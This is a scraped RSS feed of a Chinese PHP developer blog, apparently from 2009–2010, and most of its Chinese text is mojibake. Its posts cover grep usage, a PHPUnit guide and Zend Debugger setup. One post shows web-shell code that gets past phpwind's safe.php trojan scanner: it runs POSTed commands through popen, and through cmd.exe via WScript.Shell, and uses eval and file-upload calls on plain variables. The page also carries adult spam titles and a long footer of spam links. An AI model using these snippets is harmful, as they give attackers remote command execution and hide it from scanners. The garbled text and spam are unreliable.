锘??xml version="1.0" encoding="utf-8" standalone="yes"?>人妻精品久久无码区 ,精品久久久久久久久久久久久久久,国内精品久久久久久久coenthttp://www.shnenglu.com/keigoliye/category/11704.html涓鍒囬兘鏄焊鑰佽檸zh-cnTue, 01 Jun 2010 10:33:46 GMTTue, 01 Jun 2010 10:33:46 GMT60PHP鏈ㄩ┈搴斿http://www.shnenglu.com/keigoliye/archive/2010/05/28/116622.html鏆楀鏁欑埗鏆楀鏁欑埗Fri, 28 May 2010 08:25:00 GMThttp://www.shnenglu.com/keigoliye/archive/2010/05/28/116622.htmlhttp://www.shnenglu.com/keigoliye/comments/116622.htmlhttp://www.shnenglu.com/keigoliye/archive/2010/05/28/116622.html#Feedback0http://www.shnenglu.com/keigoliye/comments/commentRss/116622.htmlhttp://www.shnenglu.com/keigoliye/services/trackbacks/116622.htmllinux涓嬫煡鎵炬枃浠跺唴瀹癸紒find+grep錛堝皬瀵垮師鍒涳級(jí)

#> find . -type f  -exec grep 'mingtian'  -l {} \;
grep -l :鏄樉紺哄尮閰嶇殑鍐呭鐨勬枃浠跺悕瀛楋紒
鎴栬咃細(xì)
#> find . -type f -name "*.*" |xargs grep 'xiaoshou' -l
(榪欎釜鏂規(guī)硶 涓嶅ソ錛屾尯涔辯殑錛岃繕鎱紝鎺ㄨ崘鍓嶄竴涓柟娉曪紒錛?/div>




phpwind寮鍙戠殑php鏈ㄩ┈鏌ユ潃宸ュ叿鏈変綍鐢?
22 Comments | 鎶鏈浉鍏?| by angel | 22700 Views.
鐪嬬湅phpwind瀹樻柟鐨勪粙緇?!鎴戜笉寰椾笉濂藉鐨勬潵鐪嬬湅銆傞亾鎬庝箞姣旈瓟楂樹簡(jiǎn)錛?/div>

-----------------------------------------
鏈嶅姟鍣?php 鏈ㄩ┈, 鎭舵剰紼嬪簭鏌ユ潃宸ュ叿(閫傜敤浜?.3.6 涓?2.0.1 鐗堣鏀誨嚮绔欑偣鐨勫畨鍏ㄦ嫻?

浣跨敤鍚?9%鍙互鏍歸櫎鎮(zhèn)ㄧ┖闂翠笂鐨勬伓鎰忕▼搴忎笌 php鏈ㄩ┈紼嬪簭
-----------------------------------------

鍝庯紝鐪嬫潵phpwind鐨勫紑鍙戜漢鍛樺湪榪欐柟闈㈡湁鐐規(guī)剼絎紝鎴戞潵涓鍙ヤ竴鍙ュ垎鏋愪竴涓媠afe.php鏂囦歡鐨勬牳蹇?jī)銆?/div>

1銆乻trpos($a,'shell_exec')!==false
濡傛灉鍖呭惈shell_exec錛屾潃

鎴戣繖鏍風(fēng)粫榪囷細(xì)
-------------
system();
-------------
passthru();
-------------
exec();
-------------
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
-------------
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

2銆乻trpos($a,'eval($_')!==false
濡傛灉鍖呭惈eval($_錛屾潃

鎴戣繖鏍風(fēng)粫榪囷細(xì)
eval($a);

3銆乻trpos($a,'move_uploaded_file($_FILES')!==false
濡傛灉鍖呭惈move_uploaded_file($_FILES錛屾潃

鎴戣繖鏍風(fēng)粫榪囷細(xì)
move_uploaded_file($a,$b);

4銆乻trpos($a,'copy($_FILES')!==false
濡傛灉鍖呭惈copy($_FILES錛屾潃

鎴戣繖鏍風(fēng)粫榪囷細(xì)
copy($a,$b);

瀹屼簡(jiǎn)錛侊紒灝辮繖鏍風(fēng)粨鏉熶簡(jiǎn)錛佸叏閮ㄧ粫榪囦簡(jiǎn)錛佸悗闂ㄧ戶緇暀鐫銆傚攭銆傜湡鐨勪笉鐭ラ亾榪欎釜宸ュ叿鏈変粈涔堢敤錛岄獥楠楄彍楦熺珯闀?/div>

錛熶負(fù)浠涔堝彧鑳界敤鍦╬hpwind鐨勭珯鐐癸紵鍙堟庝箞99錛呮牴闄ゆ伓鎰忕▼搴忎簡(jiǎn)錛燂紵

鍒版垜榪欓噷搴旇鏄?9.999999錛呬笉鑳芥牴闄ゆ伓鎰忕▼搴忥紒錛侊紒浣跨敤榪欎釜鍜屼笉浣跨敤綆鐩存病鍒嗗埆銆傚笇鏈涙垜鎵嬪ご娌℃湁鍚?/div>

浣峆HPWIND绔欓暱鐨勫悗闂ㄥ摝銆備笉瑕佷互涓烘湁浜?jiǎn)杩欎釜safe.php灝遍珮鏋曟棤蹇т簡(jiǎn)銆傚樆鍢匯傞亾楂樹竴灝猴紝欖旂粷瀵硅楂樹竴涓?/div>

鐨?#8230;…鏀瑰彉涓嶄簡(jiǎn)鐨勪簨瀹炪?/div>

]]>PHPUnit琚栫弽鎸囧崡-絎竴绔?綆浠?/title><link>http://www.shnenglu.com/keigoliye/archive/2010/04/13/112486.html</link><dc:creator>鏆楀鏁欑埗</dc:creator><author>鏆楀鏁欑埗</author><pubDate>Tue, 13 Apr 2010 11:30:00 GMT</pubDate><guid>http://www.shnenglu.com/keigoliye/archive/2010/04/13/112486.html</guid><wfw:comment>http://www.shnenglu.com/keigoliye/comments/112486.html</wfw:comment><comments>http://www.shnenglu.com/keigoliye/archive/2010/04/13/112486.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/keigoliye/comments/commentRss/112486.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/keigoliye/services/trackbacks/112486.html</trackback:ping><description><![CDATA[     鎽樿: 杞嚜http://blog.csdn.net/summerfang/archive/2006/05/20/746219.aspx寰堥暱鏃墮棿閲岋紝鎴戝“浣犱粈涔堟椂鍊欎細(xì)涓篜HPUnit鍐欎竴涓枃妗?#8221;榪欎釜闂鐨勫洖絳旀槸錛?#8220;浣犱笉闇瑕丳HPUnit鏂囨。錛屽幓璇昏JUnit鏂囨。鎴栦拱涓鏈琂unit鐨勪功錛岃瘯涓璇曠敤PHP鍜孭HPUnit鏉ラ噸鍐橨ava鍜孞unit鐨勪緥瀛?#8221;銆傚綋鎴戝拰O...  <a href='http://www.shnenglu.com/keigoliye/archive/2010/04/13/112486.html'>闃呰鍏ㄦ枃</a><img src ="http://www.shnenglu.com/keigoliye/aggbug/112486.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/keigoliye/" target="_blank">鏆楀鏁欑埗</a> 2010-04-13 19:30 <a href="http://www.shnenglu.com/keigoliye/archive/2010/04/13/112486.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>PHPUnit琚栫弽鎸囧崡-姒傝堪http://www.shnenglu.com/keigoliye/archive/2010/04/13/112485.html鏆楀鏁欑埗鏆楀鏁欑埗Tue, 13 Apr 2010 11:27:00 GMThttp://www.shnenglu.com/keigoliye/archive/2010/04/13/112485.htmlhttp://www.shnenglu.com/keigoliye/comments/112485.htmlhttp://www.shnenglu.com/keigoliye/archive/2010/04/13/112485.html#Feedback0http://www.shnenglu.com/keigoliye/comments/commentRss/112485.htmlhttp://www.shnenglu.com/keigoliye/services/trackbacks/112485.html

杞嚜http://blog.csdn.net/summerfang/archive/2006/05/20/746216.aspx

鑱槑鐨?/span>Web寮鍙戜漢鍛樹細(xì)鍛婅瘔浣狅紝瓚婂揩鎵懼埌浠g爜鐨勯敊璇紝浣犲氨鑳借秺蹇慨姝e畠錛岄暱鏈熻岃█錛岄」鐩垚鏈秺浣庛傚ソ浜?jiǎn)锛岃兘鏈鏈夋晥鐨勬嫻?/span>PHP浠g爜涓殑閿欒鐨勫伐鍏鋒槸PHPUnit錛屼竴涓紑鍙戞簮浠g爜鐨勬鏋訛紝瀹冨湪浣犱笉鍦ㄧ殑鏃跺欙紝鑷姩榪涜鎴愬鐨勫崟鍏冩祴璇曘備嬌鐢?/span>PHPUnit鐨勫ソ澶勬槸鏄捐屾槗瑙佺殑錛?/span>

l         鍑忓皯鐢ㄤ簬嫻嬭瘯浠g爜鐨勫伐浣滈噺

l         鍑忓皯鎬諱綋杞歡緙洪櫡

l         澧炲姞瀵逛唬鐮佺殑淇″績(jī)

l         鏀瑰杽浣犲拰寮鍙戞簮浠g爜鐨勫洟闃熶紮浼寸殑鍏崇郴

鐩村埌鐜板湪錛岃繖涓祦琛屽伐鍏峰敮涓鐨勯棶棰樻槸緙轟箯鏂囨。銆備負(fù)浜?jiǎn)瑙e唽櫩欎釜闂锛?/span>O’Reilly鐩存帴鎵懼埌浜?jiǎn)婧愬み_(dá)紝PHPUnit鍙h涔︽寚鍗楃殑浣滆咃紝涔熸槸PHPUnit鐨勫垱閫犺咃紝Sebastian Bergmann錛屾潵瑙e喅榪欎釜闂銆傝繖鏈功鎶婂緢澶氶毦浠ヨ蹇嗙殑淇℃伅錛岃娉曪紝PHPUnit宸ヤ綔鐨勫師鍒欙紝緇熶竴鍒頒竴璧楓傚畠涔熷甫鏉ヤ簡(jiǎn)鍙湁鎶鏈垱閫犺呮墠鑳芥彁渚涚殑媧炲療鍔涘拰鐫挎櫤蹇犲憡銆傝屼笖錛屾湰涔︿篃璋堝埌浜?jiǎn)鏁忔嶄h柟娉曞拰鏋侀檺緙栫▼涓叧浜庢祴璇曠殑鍐呭銆?/span>

鍦?/span>O’Reilly鍙h涔︽寚鍗楁渶榪戠殑緋誨垪涓紝榪欐湰蹇熷弬鑰冧功鎶婃墍鏈夌殑絳旀閮藉甫鍒頒簡(jiǎn)浣犵殑鎸囧皷銆傞偅浜涘嫻嬭瘯PHP浠g爜鎰熷叴瓚g殑Web搴旂敤紼嬪簭寮鍙戣咃紝浼?xì)瑙夊緱鏈功鏄竴涓棤浠風(fēng)殑浼翠荊銆?/span>

 

--------------------------------------------------------------------------------------------------------------

鍘熸枃錛?/span>

Overview

Smart web developers will tell you that the sooner you detect your code mistakes, the quicker you can fix them, and the less the project will cost in the long run. Well, the most efficient way to detect your mistakes in PHP is with PHPUnit, an open source framework that automates unit testing by running a battery of tests as you go. The benefits of PHPUnit are significant:

 

a reduction in the effort required to frequently test code

fewer overall defects

added confidence in your code

improved relations with your open source teammates

 

 

 

The only problem with this popular testing tool was its lack of documentation-until now, that is. For this, O'Reilly went right to the source, as Sebastian Bergmann, the author of PHPUnit Pocket Guide, also happens to be PHPUnit's creator. This little book brings together hard-to-remember information, syntax, and rules for working with PHPUnit. It also delivers the insight and sage advice that can only come from the technology's creator. Coverage of testing under agile methodologies and Extreme Programming (XP) is also included.

 

The latest in O'Reilly's series of handy Pocket Guides, this quick-reference book puts all the answers are right at your fingertips. It's an invaluable companion for anyone interested in testing the PHP code they write for web applications.



]]>
zend debugger 涓?zend optimizer鍜寈debug鍏卞瓨鐨勬柟娉?/title><link>http://www.shnenglu.com/keigoliye/archive/2009/10/12/98383.html</link><dc:creator>鏆楀鏁欑埗</dc:creator><author>鏆楀鏁欑埗</author><pubDate>Mon, 12 Oct 2009 07:43:00 GMT</pubDate><guid>http://www.shnenglu.com/keigoliye/archive/2009/10/12/98383.html</guid><wfw:comment>http://www.shnenglu.com/keigoliye/comments/98383.html</wfw:comment><comments>http://www.shnenglu.com/keigoliye/archive/2009/10/12/98383.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/keigoliye/comments/commentRss/98383.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/keigoliye/services/trackbacks/98383.html</trackback:ping><description><![CDATA[<p>鎴戠敤鐨勬槸lamp闆嗘垚鐜鏄痻ampp錛宭inux涓嬫槸lampp錛屽叾瀹為兘鏄竴涓笢瑗褲?/p> <p>鎯蟲敼鍙樹竴涓嬭嚜宸辮佸湡鐨勮皟璇曟柟寮忥紝鎵浠ヨ瘯鐢ㄤ竴涓媧end debugger鍜寈debug</p> <p>璦褰掓浼狅紝濡備綍璁╀笁鑰呭叡瀛樺憿銆傦紙鐞嗚涓婏紝浣犵敤zend debugger灝變笉蹇呭啀浣跨敤xdebug錛屽弽涔嬩害鐒?dòng)灱?jí)</p> <p>xampp宸茬粡緇欏ソ浜?jiǎn)zend optimizer鐨勯厤緗紝騫朵笖xdebug涔熷凡緇忛粯璁ょ粰閰嶇疆濂戒簡(jiǎn)錛屽彧鏄兘娌℃湁鍚敤鑰屽凡</p> <p><strong>絎竴姝ワ細(xì)鍚敤zend optimizer</strong><br> <span id="more-1094"></span><br> 鍦╬hp.ini涓紝鎵懼埌zend_optimizer.enable_loader錛屾妸鍊奸珮涓?鍗沖彲</p> <p>濡傦細(xì)</p> <p>[Zend]<br> zend_extension_ts = “D:\xampp\php\zendOptimizer\lib\ZendExtensionManager.dll”<br> zend_extension_manager.optimizer_ts = “D:\xampp\php\zendOptimizer\lib\Optimizer”<br> zend_optimizer.enable_loader = 1<br> zend_optimizer.optimization_level=15<br> zend_optimizer.license_path =<br> ; Local Variables:<br> ; tab-width: 4<br> ; End:</p> <p><strong>絎簩姝ワ細(xì)鍔犺澆zend debugger</strong></p> <p>榪欓噷鏄竴涓渶瑕佹敞鎰忕殑鍦版柟</p> <p>涓嬭澆zend debugger: 鍦板潃錛歨ttp://downloads.zend.com/pdt/server-debugger/錛屼笅杞界鍚堜綘鎿嶄綔緋葷粺鐨勭増鏈紝 淇濆瓨鍒拌嚜瀹氫箟鐨勭洰褰曪紝渚嬪d:/xampp/php/zenddebugger</p> <p>鍦ㄨ鐩綍涓嬪緩绔嬩竴涓浉搴斿綋鍓峱hp鐗堟湰鐨勬枃浠跺す錛?濡傚綋鍓峱hp鐗堟湰php5.26, 鍗沖湪璇ユ枃浠跺す涓嬪緩绔媝hp-5.2.x鏂囦歡澶癸紝 娉細(xì) 姝ゅX涓虹湡瀹炵殑瀛楃錛岃屼笉鏄竴涓唬琛ㄧ銆?/p> <p>灝嗕笅杞界殑debugger涓浉搴旂増鏈殑ZendDebugger.dll鑰冨埌璇ョ洰褰曚笅銆?/p> <p>鍐嶉厤緗?php.ini錛屽姞鍏?/p> <p>[Debugger]<br> zend_extension_manager.debug_server_ts=”D:\xampp\php\zenddebugger”<br> zend_debugger.allow_hosts=127.0.0.1/32,192.168.0.0/44<br> zend_debugger.expose_remotely=always</p> <p>閲嶅惎apache,鏌ョ湅phpinfo,濡傛灉鐪嬪埌</p> <blockquote> <p>with Zend Extension Manager v1.2.0, Copyright (c) 2003-2007, by Zend Technologies<br> with Zend Optimizer v3.3.3, Copyright (c) 1998-2007, by Zend Technologies<br> with Zend Debugger v5.2.15, Copyright (c) 1999-2008, by Zend Technologies</p> </blockquote> <p>灝辮鏄庢垚鍔熶簡(jiǎn)</p> <p><strong>絎笁姝ワ細(xì)鍔犺澆xdebug</strong></p> <p>鎴戜滑鍙互浠ユ墿灞曞艦寮忓姞杞絰debug,灝遍伩鍏嶄簡(jiǎn)鍜寊end optimizer鍐茬獊銆?/p> <p>extension=php_xdebug.dll</p> <p>娉ㄦ剰php_xdebug.dll瑕佸湪xampp/php/ext鐩綍涓?/p> <p>鐒跺悗php.ini涓坊鍔犵殑鍐呭 錛坸ampp宸茬粡娣誨姞濂斤紝鎴戜滑鍙渶瑕佸幓鎺夋敞閲婂嵆鍙級(jí)</p> <p>[XDebug]<br> ;; Only Zend OR (!) XDebug<br> ;zend_extension_ts=”D:\xampp\php\ext\php_xdebug.dll”<br> xdebug.remote_enable=true<br> xdebug.remote_host=127.0.0.1<br> xdebug.remote_port=9000<br> ;xdebug.remote_handler=dbgp<br> ;xdebug.profiler_enable=1<br> ;xdebug.profiler_output_dir=”D:\xampp\tmp”</p> <p>鍐嶉噸鍚痑pache, OK銆?寮濮嬫祴璇?/p> <p>緇撴灉鏄紝zend debugger鍙互鍜寊end optimize鍏卞瓨錛屼絾xdebug涓嶈兘鍜寊end optimize鍏卞瓨</p> <p>濡傛灉浣跨敤dll鏂瑰紡鍔犺澆xdebug,浼?xì)鏈夐敊璇彁绀恒傚茍涓斾笉鍐嶆墽琛?/p><img src ="http://www.shnenglu.com/keigoliye/aggbug/98383.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/keigoliye/" target="_blank">鏆楀鏁欑埗</a> 2009-10-12 15:43 <a href="http://www.shnenglu.com/keigoliye/archive/2009/10/12/98383.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>感谢您访问我们的网站,您可能还对以下资源感兴趣:</p> <a href="http://www.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.touzhi8.cn" target="_blank">久久久国产精品网站</a>| <a href="http://www.snailwr.cn" target="_blank">亚洲国产精品无码久久一线</a>| <a href="http://www.yy1122.cn" target="_blank">国产精品永久久久久久久久久 </a>| <a href="http://www.misuca.cn" target="_blank">亚洲人成无码网站久久99热国产</a>| <a href="http://www.hongyuan88.cn" target="_blank">久久国产视屏</a>| <a href="http://www.94byq.cn" target="_blank">久久水蜜桃亚洲av无码精品麻豆</a>| <a href="http://www.hywsgc.cn" target="_blank">97久久精品人人做人人爽</a>| <a href="http://www.ssjnet.cn" target="_blank">亚洲午夜无码AV毛片久久</a>| <a href="http://www.v0008.cn" target="_blank">久久久精品免费国产四虎</a>| <a href="http://www.webfi.cn" target="_blank">性高湖久久久久久久久AAAAA</a>| <a href="http://www.anfubbs.cn" target="_blank">久久99精品久久只有精品</a>| <a href="http://www.bibi81.cn" target="_blank">亚洲国产日韩综合久久精品</a>| <a href="http://www.zhangyiping.cn" target="_blank">久久国产高清字幕中文</a>| <a href="http://www.linan521.cn" target="_blank">久久久久久久综合狠狠综合</a>| <a href="http://www.vzts.cn" target="_blank">精品欧美一区二区三区久久久</a>| <a href="http://www.clg8.cn" target="_blank">久久久噜噜噜久久中文福利</a>| <a href="http://www.td16yf8g.cn" target="_blank">久久精品亚洲精品国产欧美</a>| <a href="http://www.zqdy.com.cn" target="_blank">久久久久久久久久久久中文字幕</a>| <a href="http://www.gbestech.cn" target="_blank">精品久久久久中文字</a>| <a href="http://www.lenovophone.com.cn" target="_blank">国产精品九九九久久九九</a>| <a href="http://www.my1983.cn" target="_blank">伊人色综合久久天天人手人婷</a>| <a href="http://www.ntysjx.cn" target="_blank">久久久久亚洲精品无码网址</a>| <a href="http://www.qdtiandiyuan.cn" target="_blank">99麻豆久久久国产精品免费</a>| <a href="http://www.lanqie.com.cn" target="_blank">亚洲AV无码一区东京热久久 </a>| <a href="http://www.maichayo.cn" target="_blank">三级韩国一区久久二区综合</a>| <a href="http://www.donki.net.cn" target="_blank">婷婷久久综合九色综合98</a>| <a href="http://www.yx177.cn" target="_blank">久久99亚洲网美利坚合众国</a>| <a href="http://www.shlinfeng.com.cn" target="_blank">久久精品国产亚洲αv忘忧草 </a>| <a href="http://www.bjscqh.com.cn" target="_blank">99久久精品免费看国产一区二区三区</a>| <a href="http://www.michellebranch.cn" target="_blank">国产亚洲美女精品久久久2020</a>| <a href="http://www.lzhoufugen.cn" target="_blank">无码任你躁久久久久久</a>| <a href="http://www.ikde.cn" target="_blank">久久伊人影视</a>| <a href="http://www.esfjjr.cn" target="_blank">久久久久97国产精华液好用吗</a>| <a href="http://www.by1506.cn" target="_blank">国产精品欧美久久久久无广告</a>| <a href="http://www.zjhgkjjt.com.cn" target="_blank">久久国产精品久久久</a>| <a href="http://www.linggei.cn" target="_blank">国产精品久久自在自线观看</a>| <a href="http://www.iido.org.cn" target="_blank">久久被窝电影亚洲爽爽爽</a>| <a href="http://www.5qzone.cn" target="_blank">91精品国产91久久久久久蜜臀</a>| <a href="http://www.legal911.cn" target="_blank">亚洲午夜精品久久久久久人妖</a>| <a href="http://www.sa88.cn" target="_blank">93精91精品国产综合久久香蕉</a>| <a href="http://www.bkqxv.cn" target="_blank">久久精品国产欧美日韩</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>